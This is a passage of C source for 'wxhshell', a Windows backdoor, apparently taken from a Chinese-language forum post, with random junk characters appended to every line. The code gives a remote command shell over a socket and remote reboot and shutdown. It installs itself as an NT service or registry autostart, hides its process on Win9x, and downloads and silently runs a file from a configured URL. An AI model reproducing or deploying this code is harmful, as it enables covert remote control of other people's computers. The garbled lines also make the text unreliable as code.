  if(DownloadFile(cmd,wsh)) ^\z.E?v%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <{"]&bl  
  else El}."}l&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Tw96 dv  
  } pt rQ~m-  
  else { 5jTBPct   
Aqwjs 3  
    switch(cmd[0]) { B4yC"55  
  *[-% .=[7  
  // 帮助 >>ncq$  
  case '?': { lAxbF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Tq r]5  
    break; )Bl0 W  
  } b0A*zQA_)  
  // 安装 UKBVCAK  
  case 'i': { }w0>mA0=H  
    if(Install()) L@"1d.k_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0<8p G:BQ  
    else +$hqwNh@Z@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y7;i4::A\  
    break; bF#*cH  
    } $rAHtr  
  // 卸载 XQW+6LEQ  
  case 'r': { b>B.3E\Pc  
    if(Uninstall()) dc .oK4G}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Kl~hzVSOa  
    else JP2zom  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "pDwN$c  
    break; FZW)C'j  
    } FJ|6R(T_  
  // 显示 wxhshell 所在路径 cK;,=\  
  case 'p': { pohA??t2:  
    char svExeFile[MAX_PATH]; SD"'  
    strcpy(svExeFile,"\n\r"); 7>Af"1$g  
      strcat(svExeFile,ExeFile); 6/m|Sg.m  
        send(wsh,svExeFile,strlen(svExeFile),0); (~R[K,G  
    break; V'XmMn)!  
    } I.f)rMl+h  
  // 重启 +J^-B}v  
  case 'b': { z$VA]tI(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *?zyF@K{%  
    if(Boot(REBOOT)) d+1q[,-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 a ED6  
    else { :|s!_G<  
    closesocket(wsh); IA\CBwiLj  
    ExitThread(0); Mpfdl65  
    } T ~9)0A"]  
    break; QBg~b{h  
    } nhfHY-l} 7  
  // 关机 %Ts6M,Fpp  
  case 'd': { QEe\1>1"&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }=1#ANM1  
    if(Boot(SHUTDOWN)) a@E+/9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qno8qF*  
    else { 1}moT#  
    closesocket(wsh); @l7~Zn  
    ExitThread(0); HA?<j|M  
    } _I$\O5  
    break; ^ |k 7g  
    } wj-=#gyAoo  
  // 获取shell }9&Z#1/  
  case 's': { y"Fp4$qb  
    CmdShell(wsh); 8i H'cX  
    closesocket(wsh); ax]Pa*C}  
    ExitThread(0); z|w@eQ",  
    break; p;[">["  
  } xWwQm'I2}  
  // 退出 Hm>M}MF3  
  case 'x': { Z /#&c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v99gI%TA'  
    CloseIt(wsh); P}] xz Vy  
    break; HN/ %(y  
    } v"y0D  
  // 离开 0b )^#+  
  case 'q': { e)pQh& uD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y4%u< /  
    closesocket(wsh); tE i-0J  
    WSACleanup(); E?{{z4  
    exit(1); ?;s}GpEY:  
    break; njbEw4nX  
        } :[;]6;  
  } [^rT: %Z  
  } <Yzk]98W5.  
k<aKT?Ek>  
  // 提示信息 y\=(;]S'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V'kCd4  
} ^hG Y,\K9  
  } _0~WT  
]}KoW?M  
  return; aR3R,6ec  
} f}jo18z%  
'hTA O1n8  
// shell模块句柄 2~:jg1  
int CmdShell(SOCKET sock) p$>e{-u  
{ dQ&S&SW  
STARTUPINFO si; f L @rv  
ZeroMemory(&si,sizeof(si)); K+9oV[DMs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (7C&I- l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gmU_# J%~  
PROCESS_INFORMATION ProcessInfo; 28 h3Ayw4  
char cmdline[]="cmd"; c6IFt4)g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h5+qP"n!?q  
  return 0; K"p$ga{  
} >Oary  
c,cc avv{I  
// 自身启动模式 t`PA85.|d  
int StartFromService(void) ~i`@  
{ u"rK5'  
typedef struct  tCT-cs  
{ W/z\j/Rgc  
  DWORD ExitStatus; ?\_N*NEtK  
  DWORD PebBaseAddress; 'ZyHp=RN)  
  DWORD AffinityMask; q4].C|7   
  DWORD BasePriority; tTWeOAF  
  ULONG UniqueProcessId; ya!RiHj  
  ULONG InheritedFromUniqueProcessId; %Pr P CT  
}   PROCESS_BASIC_INFORMATION; s[ {L.9Y  
=5NM =K  
PROCNTQSIP NtQueryInformationProcess; R|7yhsJq,  
$ O1w 6\}_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x?hdC)#DWI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bU`Ih# q  
Vb${Oy+  
  HANDLE             hProcess; PQl a-  
  PROCESS_BASIC_INFORMATION pbi; Mx ?{[zT"  
Yzr RnVr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cR; zNS  
  if(NULL == hInst ) return 0; |K},f,  
W$&kOdD!$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Au+SCj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g[VVxp!C<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m$T?~o o  
it=4cHT  
  if (!NtQueryInformationProcess) return 0; }*WNrS">S  
ftVA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %bM^/7  
  if(!hProcess) return 0; rlj @ '  
;]ojfR=?%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D`nW9i7  
Yg 8AMi  
  CloseHandle(hProcess); 2ckAJcpEb/  
d/Q}I[J.u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kF:4 [d  
if(hProcess==NULL) return 0; Wa#!O$u  
Qr`WPTQr"  
HMODULE hMod; 9zdp 8?T  
char procName[255]; C4Pi6.wf  
unsigned long cbNeeded; 0\ G`AO;D  
V=<OV]0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;^5d^-T  
i^c  
  CloseHandle(hProcess); !olvP*c"  
7X3<8:%  
if(strstr(procName,"services")) return 1; // 以服务启动 f wN  
ahagt9[,:F  
  return 0; // 注册表启动 (!h%) _?.l  
} sOc<'):TK  
7U#`^Q}  
// 主模块 f_`gUMf  
int StartWxhshell(LPSTR lpCmdLine) mZ;W$y SO  
{ zWiM l.[  
  SOCKET wsl; *9"L?S(X#  
BOOL val=TRUE; %@IZ41<C  
  int port=0; #qk}e4u  
  struct sockaddr_in door; .@0i,7S  
D]+0X8@kH7  
  if(wscfg.ws_autoins) Install(); kyQUaFG  
SvUC8y  
port=atoi(lpCmdLine); Am~ NBQ7  
xrbDqA.b  
if(port<=0) port=wscfg.ws_port; [aM_.[bf  
AXBv']Y  
  WSADATA data; P0m;AqS#R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]h0Fv-[A  
b6Jv|1w'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z/bJDSQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #(o 'G4T  
  door.sin_family = AF_INET; wAHW@q9CK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PV?XpT  
  door.sin_port = htons(port); {I s?>m4  
v:s.V>{"S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QcyYTg4i  
closesocket(wsl); xk}(u`:.  
return 1; xNG 'UbU  
} ".&x`C  
vkE[Ur>  
  if(listen(wsl,2) == INVALID_SOCKET) { 3zJbb3e  
closesocket(wsl); zx7*Bnu0  
return 1; L@*0wx`fU  
} b*4[)Yg4  
  Wxhshell(wsl); &I8,<(`  
  WSACleanup(); ,|?-\?I  
5.J$0wK'6  
return 0; <UJgl{ -  
?>lvV+3^`  
} S5:`fo^5  
{e,m<mAi  
// 以NT服务方式启动 hw`+,_ g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6x\+j  
{ jd;=5(2  
DWORD   status = 0; F^ kH"u[  
  DWORD   specificError = 0xfffffff; 1gp3A  
8" Z!: =A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; csTX',c  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OZ?4"1$.t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |;q*Zy(  
  serviceStatus.dwWin32ExitCode     = 0; 4]$cf:  
  serviceStatus.dwServiceSpecificExitCode = 0; .+XGbs]kCi  
  serviceStatus.dwCheckPoint       = 0; l[]K5?AS>-  
  serviceStatus.dwWaitHint       = 0; ;EP]A3  
@F_#d)+%>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); RYMOLX84  
  if (hServiceStatusHandle==0) return; J-lQPMI,  
ARYqX\-e  
status = GetLastError(); 41%B%K*  
  if (status!=NO_ERROR) zR)|%[sWwQ  
{ A:3bL: ;t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i][7S mN  
    serviceStatus.dwCheckPoint       = 0; 0*^)n&O  
    serviceStatus.dwWaitHint       = 0; X&._<2  
    serviceStatus.dwWin32ExitCode     = status; LP bZ.  
    serviceStatus.dwServiceSpecificExitCode = specificError; _%Ay\4H^\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kvh}{@|-  
    return; ^.Y"<oZSS  
  } YIA}F1:  
wC@5[e$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bu"R2~sb  
  serviceStatus.dwCheckPoint       = 0; TRG(W^<F  
  serviceStatus.dwWaitHint       = 0; tBe)#-O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Xz5 aTJ&  
} CQfrAk4mu  
?4=8z8((!  
// 处理NT服务事件,比如:启动、停止 D%cWw0Oq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v%3mhk#  
{ 89KX.d  
switch(fdwControl) .)^@[yrkz  
{ [X:mmM0gd  
case SERVICE_CONTROL_STOP: ' pOtd7Vr  
  serviceStatus.dwWin32ExitCode = 0; R}4o{l6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H<|I&nV  
  serviceStatus.dwCheckPoint   = 0; eW)(u$C|qL  
  serviceStatus.dwWaitHint     = 0; KU[eY}   
  { 6~\z]LZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uf,4GPo,  
  } N$J)Ow  
  return; a#W:SgE?Y  
case SERVICE_CONTROL_PAUSE: wL,b.]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }*l V  
  break; fAWjk&9  
case SERVICE_CONTROL_CONTINUE: ,YFuMek  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NUBzmnA>8  
  break; 0`/PEK{  
case SERVICE_CONTROL_INTERROGATE: Nd/iMV6V;  
  break; ?iG}Qj@5  
}; SV.\B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); POTW+Zq]  
} |E-0P=h  
N!DAn \g  
// 标准应用程序主函数 k;:v~7VF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~*-ar6  
{ $DC*&hqpt  
BM{GSX  
// 获取操作系统版本 ")7,ZN;  
OsIsNt=GetOsVer(); L f[>U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {e[S?1t=l  
l(9$s4R  
  // 从命令行安装 cH6ie?KvAo  
  if(strpbrk(lpCmdLine,"iI")) Install(); k%#`{#n i  
VtF^; f  
  // 下载执行文件 }(O/y-  
if(wscfg.ws_downexe) { !_s|h@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hNUAwTH6  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^[XxE Lx  
} iC&=-$vu  
HTI1eLZ2  
if(!OsIsNt) { c+AZ(6O ?\  
// 如果时win9x,隐藏进程并且设置为注册表启动 1&c>v3 $2  
HideProc(); 8Q^yh6z  
StartWxhshell(lpCmdLine); }[Uh4k8P  
} CFqoD l  
else -yeQQ4b  
  if(StartFromService()) 0m,A`*o  
  // 以服务方式启动 X"b4U\A  
  StartServiceCtrlDispatcher(DispatchTable); *Id$%O  
else wo7.y["$  
  // 普通方式启动 ~6@zXHAS  
  StartWxhshell(lpCmdLine); jD3,z*  
~\/>b}^uf'  
return 0; 0CI?[R\  
}
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只看该作者 1 发表于: 2006-10-10
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